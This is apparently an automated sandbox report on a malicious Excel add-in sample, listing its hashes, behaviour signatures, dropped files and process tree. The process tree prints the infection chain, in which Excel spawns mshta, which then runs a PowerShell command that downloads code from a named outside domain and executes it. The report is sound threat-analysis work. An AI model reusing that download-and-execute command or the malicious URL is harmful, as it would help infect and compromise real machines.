Analysis

  • max time kernel
    137s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 22:58

General

  • Target

    f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll

  • Size

    12KB

  • MD5

    0e388e027d6ad35881c0f90209916643

  • SHA1

    fb216128d6b33436c0a014b362b10d9dfa0c2be6

  • SHA256

    f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78

  • SHA512

    59492e0971103a76aacece86581dbac47b9143b94a78f39372ec75e4954d13a5f996f0d6bd2eed36c2988c5dbba136fc4616d9ceb1550d17729d3f9de5ff36a7

  • SSDEEP

    192:OL29RBzDzeobchBj8JONdONzruKrEPEjr7Ahi:A29jnbcvYJOO9uKvr7Ci

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1380
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3940
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4240,i,13544508926340531097,6671217806016090640,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:8
    1⤵
      PID:4236

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YOJF4VYG\d[1].htm

      Filesize

      2KB

      MD5

      f754844cfb65838d1dd6b19dde5d835c

      SHA1

      b3eb677783adc88c8d048898449e04d49f416db6

      SHA256

      3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

      SHA512

      f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfvucoqe.l3e.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll

      Filesize

      12KB

      MD5

      0e388e027d6ad35881c0f90209916643

      SHA1

      fb216128d6b33436c0a014b362b10d9dfa0c2be6

      SHA256

      f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78

      SHA512

      59492e0971103a76aacece86581dbac47b9143b94a78f39372ec75e4954d13a5f996f0d6bd2eed36c2988c5dbba136fc4616d9ceb1550d17729d3f9de5ff36a7

    • memory/1380-9-0x00007FFF88AB0000-0x00007FFF88AC0000-memory.dmp

      Filesize

      64KB

    • memory/1380-8-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-1-0x00007FFFCAB2D000-0x00007FFFCAB2E000-memory.dmp

      Filesize

      4KB

    • memory/1380-89-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-6-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-7-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-0-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-11-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-10-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-12-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-14-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-13-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-16-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-17-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-15-0x00007FFF88AB0000-0x00007FFF88AC0000-memory.dmp

      Filesize

      64KB

    • memory/1380-4-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-5-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-87-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-3-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-88-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-2-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-86-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-85-0x00007FFF8AB10000-0x00007FFF8AB20000-memory.dmp

      Filesize

      64KB

    • memory/1380-69-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/1380-68-0x00007FFFCAB2D000-0x00007FFFCAB2E000-memory.dmp

      Filesize

      4KB

    • memory/1380-67-0x00007FFFCAA90000-0x00007FFFCAC85000-memory.dmp

      Filesize

      2.0MB

    • memory/3940-59-0x0000000007570000-0x0000000007BEA000-memory.dmp

      Filesize

      6.5MB

    • memory/3940-60-0x0000000006410000-0x000000000642A000-memory.dmp

      Filesize

      104KB

    • memory/3940-58-0x0000000005F50000-0x0000000005F9C000-memory.dmp

      Filesize

      304KB

    • memory/3940-57-0x0000000005F20000-0x0000000005F3E000-memory.dmp

      Filesize

      120KB

    • memory/3940-56-0x0000000005890000-0x0000000005BE4000-memory.dmp

      Filesize

      3.3MB

    • memory/3940-47-0x00000000057B0000-0x0000000005816000-memory.dmp

      Filesize

      408KB

    • memory/3940-51-0x0000000005820000-0x0000000005886000-memory.dmp

      Filesize

      408KB

    • memory/3940-44-0x0000000005710000-0x0000000005732000-memory.dmp

      Filesize

      136KB

    • memory/3940-43-0x0000000005090000-0x00000000056B8000-memory.dmp

      Filesize

      6.2MB

    • memory/3940-42-0x0000000002560000-0x0000000002596000-memory.dmp

      Filesize

      216KB